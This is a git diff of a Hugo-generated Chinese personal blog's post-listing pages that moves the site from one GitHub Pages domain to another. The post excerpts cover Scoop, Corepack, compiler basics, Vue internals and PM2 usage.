href=https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/></a></article><article class=post-entry><header class=entry-header><h2></h2></header><div class=entry-content><p></p></div><footer class=entry-footer>0 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to " href=https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/></a></article><article class=post-entry><header class=entry-header><h2></h2></header><div class=entry-content><p></p></div><footer class=entry-footer>0 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to " href=https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/></a></article><article class=post-entry><header class=entry-header><h2></h2></header><div class=entry-content><p></p></div><footer class=entry-footer>0 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to " href=https://xiaochenabc123.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/25/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2></h2></header><div class=entry-content><p></p></div><footer class=entry-footer>0 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to " href=https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/></a></article><article class=post-entry><header class=entry-header><h2></h2></header><div class=entry-content><p></p></div><footer class=entry-footer>0 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to " href=https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/></a></article><article class=post-entry><header class=entry-header><h2></h2></header><div class=entry-content><p></p></div><footer class=entry-footer>0 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to " href=https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/></a></article><article class=post-entry><header class=entry-header><h2></h2></header><div class=entry-content><p></p></div><footer class=entry-footer>0 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to " href=https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/></a></article><article class=post-entry><header class=entry-header><h2></h2></header><div class=entry-content><p></p></div><footer class=entry-footer>0 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to " href=https://chenjunlinabc.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/25/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/3/index.html b/posts/page/3/index.html
index 0444c84a..766bf4ef 100644
--- a/posts/page/3/index.html
+++ b/posts/page/3/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单使用Scoop包管理器</h2></header><div class=entry-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单使用Scoop包管理器</h2></header><div class=entry-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
@@ -33,32 +33,24 @@
 更新软件
 scoop update git
 更新全部已安装软件
-scoop update *...</p></div><footer class=entry-footer><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Scoop包管理器" href=https://xiaochenabc123.github.io/posts/150/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Corepack-包管理器的管理器</h2></header><div class=entry-content><p>Corepack（管理yarn和pnpm的包管理器的管理器）
+scoop update *...</p></div><footer class=entry-footer><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Scoop包管理器" href=https://chenjunlinabc.github.io/posts/150/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Corepack-包管理器的管理器</h2></header><div class=entry-content><p>Corepack（管理yarn和pnpm的包管理器的管理器）
 corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）
 corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）
 手动安装
-npm install -g corepack
-如果全局已经安装了yarn或者pnpm的话，需要先卸载
-npm uninstall -g yarn pnpm
-启用corepack
-corepack enable
-限制包管理器版本
+npm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载
+npm uninstall -g yarn pnpm 启用corepack
+corepack enable 限制包管理器版本
 package.json
-"packageManager": "yarn@1.22.19"
-表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
+"packageManager": "yarn@1.22.19" 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
 默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理
 修改packageManager的值后，yarn install，会自动安装指定版本
 安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）
-yarn install
-指定一个新的包管理器
-corepack prepare pnpm@7.13.5 --activate
-使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
+yarn install 指定一个新的包管理器
+corepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
 获取
-corepack prepare --all -o=D:/demo/test.tgz
-启动压缩包内的包
-corepack hydrate D:/demo/test.tgz
-或者获取完成后立刻使用
-corepack hydrate D:/demo/test.tgz --activate</p></div><footer class=entry-footer><span title='2022-05-13 00:09:00 +0000 UTC'>2022-05-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Corepack-包管理器的管理器" href=https://xiaochenabc123.github.io/posts/149/></a></article><article class=post-entry><header class=entry-header><h2>编译原理学习笔记</h2></header><div class=entry-content><p>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
+corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包
+corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用
+corepack hydrate D:/demo/test.tgz --activate</p></div><footer class=entry-footer><span title='2022-05-13 00:09:00 +0000 UTC'>2022-05-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Corepack-包管理器的管理器" href=https://chenjunlinabc.github.io/posts/149/></a></article><article class=post-entry><header class=entry-header><h2>编译原理学习笔记</h2></header><div class=entry-content><p>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
 编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式
 编译的翻译只能作用于形式语言
 编译器和解释器
@@ -90,16 +82,12 @@
 当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量
 语法分析
 语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状
-语法制导翻译</p></div><footer class=entry-footer><span title='2022-05-08 03:00:00 +0000 UTC'>2022-05-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 编译原理学习笔记" href=https://xiaochenabc123.github.io/posts/148/></a></article><article class=post-entry><header class=entry-header><h2>vuejs底层原理学习笔记</h2></header><div class=entry-content><p>组件的渲染，更新
+语法制导翻译</p></div><footer class=entry-footer><span title='2022-05-08 03:00:00 +0000 UTC'>2022-05-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 编译原理学习笔记" href=https://chenjunlinabc.github.io/posts/148/></a></article><article class=post-entry><header class=entry-header><h2>vuejs底层原理学习笔记</h2></header><div class=entry-content><p>组件的渲染，更新
 组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM
 vue应用的初始化
-import { createApp } from 'vue'
-import App from './app'
-const app = createApp(App)
-app.mount('#app')
-通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
+import { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
 通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的
-ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</p></div><footer class=entry-footer><span title='2022-04-26 20:00:00 +0000 UTC'>2022-04-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs底层原理学习笔记" href=https://xiaochenabc123.github.io/posts/147/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Pm2---node进程管理工具</h2></header><div class=entry-content><p>安装pm2
+ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</p></div><footer class=entry-footer><span title='2022-04-26 20:00:00 +0000 UTC'>2022-04-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs底层原理学习笔记" href=https://chenjunlinabc.github.io/posts/147/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Pm2---node进程管理工具</h2></header><div class=entry-content><p>安装pm2
 npm install pm2 -g
 执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程
 pm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo
@@ -124,8 +112,8 @@
 查看全部进程的日志
 pm2 logs
 清空所有日志文件
-pm2 flush</p></div><footer class=entry-footer><span title='2022-04-19 20:39:27 +0800 CST'>2022-04-19</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Pm2---node进程管理工具" href=https://xiaochenabc123.github.io/posts/pm2/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/2/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/4/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+pm2 flush</p></div><footer class=entry-footer><span title='2022-04-19 20:39:27 +0800 CST'>2022-04-19</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Pm2---node进程管理工具" href=https://chenjunlinabc.github.io/posts/pm2/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/2/>«&nbsp;Prev&nbsp;</a>
